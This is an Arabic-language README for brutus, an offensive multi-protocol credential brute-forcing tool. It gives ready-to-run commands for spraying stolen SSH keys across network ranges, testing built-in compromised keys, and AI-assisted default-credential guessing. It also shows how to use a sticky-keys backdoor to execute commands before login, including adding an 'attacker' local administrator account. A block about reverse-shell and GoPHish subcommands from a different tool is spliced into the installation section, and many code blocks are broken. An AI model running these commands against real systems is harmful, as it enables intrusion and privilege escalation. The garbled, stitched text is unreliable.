
brutus v1.10.0
أداة سريعة لاختبار بيانات الاعتماد بدون تبعيات في لغة Go. اختراق SSH وMySQL وPostgreSQL وRedis وMongoDB وSMB وأكثر من 20 بروتوكولاً. بديل لـ Hydra مع تكامل سلس مع خط أنابيب nerva/naabu.
Brutus
"وأنت يا بروتوس؟" — الكلمات الأخيرة قبل سقوط بيانات الاعتماد.
أداة اختبار حديثة لبيانات الاعتماد بلغة Go النقية
التثبيت • البداية السريعة • الأنابيب • البروتوكولات • التعداد • الوكيل • المكتبة
نظرة عامة
Brutus هي أداة اختبار مصادقة متعددة البروتوكولات صُممت لسد فجوة حرجة في أدوات الهجوم السيبراني: التحقق الفعال من صحة بيانات الاعتماد عبر خدمات الشبكة المتنوعة. بينما توجد أدوات كثيرة تركز على HTTP، فإن مختبري الاختراق وفرق العمليات الحمراء غالبًا ما يواجهون قواعد البيانات، SSH، SMB، وخدمات شبكة أخرى تتطلب إمكانيات اختبار مصادقة مصممة خصيصًا.
مبنية بلغة Go كملف ثنائي واحد بدون أي تبعيات خارجية، تتكامل Brutus بسلاسة مع Nerva لاكتشاف الخدمات تلقائيًا، مما يمكن المشغلين من تحديد واختبار ناقلات المصادقة بسرعة عبر نطاقات شبكة كاملة.
الميزات الرئيسية:
- بدون تبعيات: ملف ثنائي واحد، عبر المنصات (Linux، Windows، macOS)
- 27 بروتوكولاً: SSH، RDP، MySQL، PostgreSQL، MSSQL، Oracle، Redis، SMB، LDAP، WinRM، SNMP، HTTP Basic Auth، وغيرها
- دعم وكيل SOCKS5: توجيه كل الحركة عبر وكيل SOCKS5 باستخدام
--proxy - أوضاع العدوانية:
--mode cautious|default|aggressiveلضبط التغطية مقابل الأمان - دمج مع الأنابيب: دعم أصلي لسير عمل Nerva وnaabu وnmap وmasscan
- مفاتيح مضمنة خبيثة: مجموعة مدمجة من مفاتيح SSH المعروفة (Vagrant، F5، ExaGrid، إلخ)
- تعداد الحسابات: تعداد وجود الحسابات عن طريق المرشد، تعداد مستخدمي Kerberos، توليد البريد الإلكتروني، مصادقة رمز جهاز Microsoft Teams/Entra ID
- مكتبة Go: استيراد مباشر إلى أدوات الأتمتة الأمنية الخاصة بك
- جاهز للإنتاج: تحديد معدل، تجميع الاتصالات، ومعالجة أخطاء شاملة
لماذا Brutus؟
الأدوات التقليدية مثل THC Hydra خدمت مجتمع الأمان جيدًا، لكنها تأتي مع احتكاك كبير: سلاسل تبعيات معقدة، مشكلات تجميع خاصة بالمنصة، وعدم وجود تكامل أصلي مع سير العمل الحديث للاستطلاع.
Brutus صُمم خصيصًا للأمن الهجومي الحديث:
-
نشر حقيقي بدون تبعيات: حمل ملفًا ثنائيًا واحدًا وشغله. لا حاجة لـ
libssh-dev، لاlibmysqlclient-dev، ولا أخطاء تجميع. يعمل بنفس الطريقة على Linux وmacOS وWindows. -
تكامل أصلي مع الأنابيب: Brutus يتحدث JSON ويتكامل مباشرة مع Nerva وnaabu وnmap وmasscan. أرسل الخدمات المكتشفة مباشرة إلى اختبار بيانات الاعتماد دون تحويل التنسيق أو كتابة سكريبتات.
-
ذكاء مضمن: مفاتيح SSH الخبيثة المعروفة (Vagrant، F5 BIG-IP، ExaGrid، إلخ) مضمنة في الملف الثنائي. استخدم
brutus badkeysلاختبارها ضد أهداف SSH. -
تصميم يركز على المكتبة: استورد Brutus مباشرة في أدوات الأمان بلغة Go الخاصة بك. ابنِ أتمتة مخصصة دون الحاجة إلى استدعاء عمليات خارجية.```bash
Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
---
## حالات الاستخدام
### اختبار الاختراق
- التحقق من صحة بيانات الاعتماد المكتشفة عبر خدمات متعددة أثناء التقييمات الداخلية
- اختبار أنماط إعادة استخدام كلمات المرور عبر خدمات قواعد البيانات ومشاركة الملفات
- تحديد بيانات الاعتماد الافتراضية على البنية التحتية المنشورة حديثًا
### عمليات الفريق الأحمر
- التحقق السريع من صحة بيانات الاعتماد بعد تفريغ كلمات المرور أو حملات التصيد
- اختبار فرص الحركة الجانبية عبر خدمات الشبكة
- التحقق من صحة بيانات الاعتماد المخترقة عبر بيئات غير متجانسة
### رش المفاتيح الخاصة
هل وجدت مفتاحًا خاصًا على نظام مخترق؟ قم برشه عبر الشبكة لتعرف أين يمنح وصولًا أيضًا:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
يكتشف هذا الخط الأنابيب جميع خدمات SSH، ويحددها باستخدام Nerva، ويختبر المفتاح المخترق مقابل أسماء المستخدمين الشائعة—مما يكشف عن فرص الحركة الجانبية في ثوانٍ.
اختبار لوحة الإدارة على الويب
اكتشف خدمات HTTP واختبر بيانات الاعتماد باستخدام الكشف المدعوم بالذكاء الاصطناعي أو قوائم بيانات الاعتماد اليدوية:```bash
AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json
Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json
Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json
### التحقق الأمني
- اختبار بيانات الاعتماد الافتراضية على الخدمات المنشورة حديثًا
- التحقق من تطبيق سياسة كلمة المرور عبر المنصات
- إنشاء سجلات تدقيق لتقييم الامتثال والأمان
---
## التثبيت
### الملفات الثنائية الجاهزة (موصى بها)
تنزيل من [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
- الأوامر الفرعية:
completions: إنشاء إكمالات الصدفةgenerate: إنشاء خطاف جديد واستلام رابط تحميل له.shell: عكس شِل عبر TCPbinary: عكس شِل عبر TCP (ثنائي، مُجرّد، ومضغوط بـ UPX لأنظمة *nix)http: عكس شِل عبر HTTPwebsocket: عكس شِل عبر WebSocket
serve: بدء خادم الاستماع ومعالجة الاتصالات الواردة.update-os: تحديث نظام تشغيل الخادم (عند تشغيله عبر Docker).upgrade: ترقية مثيل GoPHish ونظام تشغيل الخادم (عند تشغيله عبر Docker).```powershell
Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip
### تثبيت Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
بداية سريعة
الأوامر الفرعية
ينظم بروتوس وظائفه في ستة أوامر فرعية مركزة:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)
كل أمر فرعي له أسماء مستعارة لسهولة الاكتشاف:
| الأمر الفرعي | الأسماء المستعارة |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(لا يوجد)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
الاستخدام الأساسي```bash
Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
### مثال الإخراج```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
مع الوضع التفصيلي (-v):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
مخرجات JSON لتكامل خط الأنابيب (يقوم بإخراج بيانات الاعتماد الناجحة فقط):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
تكامل خط الأنابيب
Brutus يتكامل بسلاسة مع Nerva و naabu لإجراء استطلاع شبكي كامل.
سيناريوهات واقعية
السيناريو 1: مسح شبكة شركة /24```bash
Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json
Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json
Review findings (all output is successful credentials)
cat results.json | jq '.'
#### السيناريو 2: استطلاع برنامج مكافآت الثغرات على نطاق مستهدف```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
السيناريو 3: البحث عن قواعد البيانات في تقييم داخلي```bash
Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json
Extract credentials in readable format
jq -r '"(.target) (.username):(.password)"' database-findings.json
#### السيناريو 4: اختبار مفتاح SSH عبر البنية التحتية```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
سيناريو 5: اختبار الخدمة المستهدف```bash
Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds
Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb
### استيراد أدوات المسح (Nmap & Masscan)
يمكن لـ Brutus استيراد الأهداف مباشرة من ملفات مخرجات المسح لـ **nmap** و **masscan**، مما يلغي الحاجة إلى تحويل التنسيق أو استخدام أدوات وسيطة.
#### استيراد XML من Nmap (`--nmap-file`)
استيراد الأهداف من مخرجات XML الخاصة بـ nmap (`-oX`). يوفر Nmap بصمة الخدمة، لذلك يقوم Brutus تلقائيًا بتعيين الخدمات المكتشفة إلى البروتوكول الصحيح:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
نطاقات خدمات Nmap يتم تلقائياً توجيهها إلى بروتوكولات Brutus (مثل ms-wbt-server → rdp، microsoft-ds → smb). يتم اكتشاف TLS من سمة tunnel="ssl" الخاصة بـ nmap. يتم استيراد المنافذ المفتوحة فقط على المضيفات النشطة.
استيراد JSON من Masscan (--masscan-file)
استيراد الأهداف من مخرجات JSON الخاصة بـ masscan (-oJ). نظرًا لأن masscan هو ماسح منافذ فقط (لا يوجد بصمة خدمة)، يجب عليك إما تحديد --protocol أو ترك Brutus يقوم بالبصمة التلقائية باستخدام Nerva:```bash
Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
#### الجمع بين سير العمل الأخرى
تعمل العلامات `--nmap-file` و `--masscan-file` مع جميع الأوامر الفرعية وتستبعد بعضها البعض مع `--target` و `--targets-file` والإدخال القياسي:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
تنسيق إدخال الأنابيب
يقبل Brutus تنسيقات إدخال متعددة من stdin:
Nerva JSON (nerva --json):```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
**Nerva URI** (إخراج Nerva الافتراضي، لا حاجة إلى `--json`):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
أهداف مجردة (تم التعرف على بصماتها تلقائيًا باستخدام Nerva):```bash echo "192.168.1.100:22" | brutus creds
Brutus يقوم تلقائيًا بـ:
- تحليل صيغ JSON، URI، والتنسيقات المستهدفة العارية
- ربط الخدمات بالبروتوكولات
- اختبار بيانات الاعتماد الافتراضية المناسبة
- إخراج النتائج بصيغة JSON مطابقة
### تنسيق مخرجات الأنابيب
يقوم Brutus بإخراج بيانات الاعتماد الناجحة فقط بصيغة JSONL (كائن JSON واحد لكل سطر):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
ملاحظة: لا يتم تضمين محاولات المصادقة الفاشلة في مخرجات JSON. يظهر حقل key (بقيمة true) عند استخدام المصادقة لمفتاح SSH بدلاً من كلمة مرور. يظهر حقل llm_suggested (بقيمة true) عندما تم اقتراح بيانات الاعتماد بواسطة نظام الذكاء الاصطناعي (--experimental-ai).
المقارنة
| الميزة | Hydra | Medusa | Ncrack | Brutus |
|---|---|---|---|---|
| ملف ثنائي واحد | ❌ | ❌ | ❌ | ✅ |
| بدون تبعيات | ❌ | ❌ | ❌ | ✅ |
| وكيل SOCKS5 | ✅ | ❌ | ❌ | ✅ |
| خط أنابيب Nerva | ❌ | ❌ | ❌ | ✅ |
| استيراد Nmap/Masscan | ❌ | ❌ | ❌ | ✅ |
| تدفق JSON | ⚠️ | ❌ | ❌ | ✅ |
| عبر المنصات | ⚠️ | ⚠️ | ⚠️ | ✅ |
| أخطاء متناسقة | ⚠️ | ⚠️ | ⚠️ | ✅ |
| تطوير نشط | ✅ | ⚠️ | ❌ | ✅ |
| مفاتيح مشبوهة مدمجة | ❌ | ❌ | ❌ | ✅ |
| استيراد مكتبة Go | ❌ | ❌ | ❌ | ✅ |
البروتوكولات المدعومة
يدعم Brutus 27 بروتوكولاً:
خدمات الشبكة
| البروتوكول | المنفذ | طرق المصادقة | حالات الاستخدام |
|---|---|---|---|
| SSH | 22 | كلمة مرور، مفاتيح خاصة | الخوادم، معدات الشبكة |
| FTP | 21 | كلمة مرور | خوادم الملفات، أجهزة NAS |
| Telnet | 23 | كلمة مرور | الأنظمة القديمة، أجهزة IoT |
| VNC | 5900 | كلمة مرور | أجهزة سطح المكتب البعيدة |
| RDP | 3389 | NLA/CredSSP، كلمة مرور | خوادم Windows، محطات العمل |
| SNMP | 161 | سلسلة المجتمع | أجهزة الشبكة، الطابعات |
خدمات الويب
| البروتوكول | المنفذ | طرق المصادقة | حالات الاستخدام |
|---|---|---|---|
| HTTP | 80 | المصادقة الأساسية | لوحات الإدارة (Grafana، Jenkins، إلخ.) |
| HTTPS | 443 | المصادقة الأساسية | لوحات الإدارة الآمنة |
البنية التحتية للمؤسسات
| البروتوكول | المنفذ | طرق المصادقة | حالات الاستخدام |
|---|---|---|---|
| SMB | 445 | كلمة مرور، NTLM | شبكات Windows، مشاركات الملفات |
| LDAP | 389/636 | Bind DN | Active Directory، الهوية |
| WinRM | 5985/5986 | NTLM | إدارة Windows عن بُعد |
قواعد البيانات
| البروتوكول | المنفذ | طرق المصادقة | حالات الاستخدام |
|---|---|---|---|
| MySQL | 3306 | كلمة مرور | تطبيقات الويب |
| PostgreSQL | 5432 | كلمة مرور | التطبيقات الحديثة |
| MSSQL | 1433 | كلمة مرور | تطبيقات المؤسسات |
| MongoDB | 27017 | كلمة مرور | أنظمة NoSQL الخلفية |
| Redis | 6379 | كلمة مرور | التخزين المؤقت، الجلسات |
| Neo4j | 7687 | كلمة مرور | قواعد بيانات الرسم البياني |
| Cassandra | 9042 | كلمة مرور | قواعد البيانات الموزعة |
| CouchDB | 5984 | HTTP Basic | مخازن المستندات |
| Elasticsearch | 9200 | HTTP Basic | محركات البحث |
| InfluxDB | 8086 | HTTP Basic | بيانات السلاسل الزمنية |
| Oracle | 1521 | كلمة مرور | قواعد بيانات المؤسسات |
الحاويات والتنسيق
| البروتوكول | المنفذ | طرق المصادقة | حالات الاستخدام |
|---|---|---|---|
| Docker | 2375/2376 | بدون مصادقة | خوادم Docker المكشوفة |
| Kubernetes | 6443/10250 | بدون مصادقة | واجهة برمجة تطبيقات K8s/kubelet المكشوفة |
الاتصالات
| البروتوكول | المنفذ | طرق المصادقة | حالات الاستخدام |
|---|---|---|---|
| SMTP | 25/587 | كلمة مرور | ترحيل البريد |
| IMAP | 143/993 | كلمة مرور | الوصول إلى صندوق البريد |
| POP3 | 110/995 | كلمة مرور | الوصول إلى صندوق البريد |
مفاتيح SSH المشبوهة المدمجة
نشر ثنائي واحد بدون الحاجة إلى ملفات مفاتيح خارجية. كل مفتاح مقترن باسم المستخدم الافتراضي الخاص به لربط بيانات الاعتماد بذكاء، ويتيح تتبع CVE الاستعلامات المتعلقة بالامتثال.
يحمل Brutus مجموعات المفاتيح rapid7/ssh-badkeys و Vagrant المدمجة داخل الثنائي:```bash
Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
### مجموعة المفاتيح المدمجة
| المنتج | CVE | المستخدم الافتراضي | الوصف |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | مفتاح غير آمن من HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | مفتاح مضيف SSH ثابت |
| ExaGrid | CVE-2016-1561 | root | باب خلفي لجهاز النسخ الاحتياطي |
| Monroe DASDEC | CVE-2013-0137 | root | أنظمة التنبيه في حالات الطوارئ |
| Barracuda | CVE-2014-8428 | cluster | جهاز موازن التحميل الافتراضي |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | وصلة لاسلكية خلفية |
| Array Networks | - | sync | أجهزة vAPV/vxAG |
| Quantum DXi | - | root | أجهزة إزالة التكرار |
| Loadbalancer.org | - | root | موازنات التحميل للمؤسسات |
---
## أوضاع العدوانية
يُتحكم في مستوى العدوانية عبر جميع الأوامر الفرعية باستخدام العلامة العامة `--mode` (`-m`). وهي تُحدد إعدادات مسبقة لضبط الأداء تحقق التوازن بين التغطية والأمان:
| الوضع | عدد الخيوط | مهلة الانتظار | حد المعدل | التشتت | إعادة المحاولة | حالة الاستخدام |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15ث | 2 طلب/ث | 500مللي ث | 1 | بيئات الإنتاج، تجنب الحظر |
| `default` | 10 | 10ث | غير محدود | لا شيء | 2 | الاختبار القياسي |
| `aggressive` | 20 | 10ث | غير محدود | لا شيء | 3 | بيئات المختبر/CTF، أقصى تغطية |
يتم تطبيق الإعدادات المسبقة للوضع أولاً، ثم تقوم أي علامات CLI صريحة بتجاوزها:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
بالنسبة لـ SNMP، يتحكم الوضع أيضًا في عمق القائمة المضمنة للكلمات (انظر اختبار سلسلة مجتمع SNMP).
دعم وكيل SOCKS5
يقوم العلم --proxy بتوجيه جميع الاتصالات عبر وكيل SOCKS5. يعمل هذا عبر جميع البروتوكولات والأوامر الفرعية:```bash
Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
الأنماط المدعومة:
- `socks5://` — وكيل SOCKS5 قياسي (حل DNS من جانب العميل)
- `socks5h://` — SOCKS5 مع حل DNS عن بُعد (مفيد عند استهداف أسماء المضيفين الداخلية)
---
## اختبار سلسلة مجتمع SNMP
يوثق الأمر الفرعي `snmp` اختبار سلسلة مجتمع SNMP v1/v2c المخصص مع قوائم كلمات متدرجة يتم التحكم فيها بواسطة العلامة العامة `--mode`:
| الوضع | السلاسل | التغطية |
|------|---------|----------|
| `cautious` | ~25 | سلاسل شائعة (public, private, community، إلخ.) |
| `default` | ~25 | مثل الوضع الحذر |
| `aggressive` | 200+ | شاملة (خاصة بالموردين، SCADA، كاميرات IP، تخزين، إلخ.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
تكامل المكتبة
بالنسبة للمطورين الذين يبنون أدوات أتمتة أمنية، يمكن أيضًا استيراد Brutus كمكتبة Go:```bash go get github.com/praetorian-inc/brutus
INPUT:```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
تجريبي: كشف الاعتمادات المدعوم بالذكاء الاصطناعي
⚠️ ميزة تجريبية: تتطلب ميزات الذكاء الاصطناعي مفاتيح API خارجية وهي قيد التطوير النشط.
العلامة --experimental-ai
تمكّن العلامة --experimental-ai الكشف التلقائي عن الاعتمادات لخدمات HTTP:```bash
Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai
**كيف يعمل:**
1. **الكشف** — يقوم Brutus بمسح أهداف HTTP لاكتشاف نوع المصادقة (المصادقة الأساسية مقابل المصادقة النموذجية)
2. **تحديد الجهاز** — يقوم Claude Vision بتحليل لقطات الشاشة لتحديد الجهاز/التطبيق
3. **اقتراح بيانات الاعتماد** — يقترح Claude بيانات الاعتماد الافتراضية من بيانات تدريبه
4. **بحث ويب اختياري** — يقوم Perplexity (في حال تكوينه) بالبحث عن بيانات اعتماد إضافية على الإنترنت
5. **الاختبار** — يقوم باختبار بيانات الاعتماد المكتشفة ضد الهدف
**لأهداف المصادقة الأساسية HTTP:**
- يقوم بمسح `/` لالتقاط رؤوس HTTP
- يحدد الجهاز من رأس الخادم، عالم مصادقة WWW-Authenticate، إلخ.
- يقترح Claude بيانات الاعتماد الافتراضية المحتملة
- يختبر أزواج بيانات الاعتماد تلقائياً
**لأهداف المصادقة النموذجية HTTP:**
- يستخدم Chrome بدون واجهة رسومية لعرض صفحة الويب والتقاط لقطة شاشة
- يحدد Claude Vision نموذج تسجيل الدخول ونوع الجهاز ويقترح بيانات الاعتماد
- يقوم Perplexity (اختياري) بالبحث عن بيانات اعتماد افتراضية إضافية
- تقوم أتمتة المتصفح بملء النموذج وإرساله
**المتطلبات:**
- `ANTHROPIC_API_KEY` — **مطلوب** لـ Claude Vision (تحديد الجهاز + اقتراحات بيانات الاعتماد)
- `PERPLEXITY_API_KEY` — *اختياري* لإجراء أبحاث ويب إضافية
- تثبيت Chrome/Chromium (للمصادقة النموذجية فقط)
**بروتوكولات غير HTTP (SSH, MySQL, إلخ.) لا تتأثر بـ `--experimental-ai`** — فهي تستمر في استخدام اختبار بيانات الاعتماد القياسي.
---
## RDP: كشف واستغلال باب خلفي لمفاتيح الـ Sticky Keys
يتضمن Brutus كشفًا تلقائيًا لـ **باب خلفي لمفاتيح الـ Sticky Keys** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) على أهداف RDP. يتم تشغيل هذا الفحص قبل المصادقة على أهداف RDP غير NLA — بدون الحاجة إلى بيانات اعتماد.
**كيف يعمل:**
1. يتصل بهدف RDP ويتفاوض على جلسة غير NLA
2. يلتقط صورة شاشة شاشة تسجيل الدخول كخط أساس
3. يرسل 5 ضغطات على مفتاح Shift (مشغل الـ sticky keys)
4. يلتقط صورة الشاشة للاستجابة
5. يحلل الاستدلالي ما إذا ظهرت نافذة طرفية (cmd.exe, PowerShell, إلخ.)
6. يؤكد اختياريًا عبر Claude Vision API (عند تعيين `ANTHROPIC_API_KEY`)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
وضع الكشف فقط: يقوم الأمر الفرعي logon بتشغيل كشف backdoor sticky keys وutilman بدون brute force:```bash
Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
**مخرجات الكشف:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
Command Execution via Backdoor (--exec)
بمجرد اكتشاف باب خلفي، قم بتنفيذ أمر على النظام البعيد عبر موجه الأوامر قبل المصادقة:```bash
Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
Add a local admin account
brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
يقوم هذا بالاتصال، وتفعيل الباب الخلفي، وكتابة الأمر، والضغط على Enter، وانتظار الإخراج، وحفظ لقطة شاشة PNG للنتيجة.
### الوحدة الطرفية التفاعلية عبر الويب (`--web`)
إطلاق عارض RDP قائم على المتصفح للتفاعل المباشر مع موجه أوامر الباب الخلفي:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
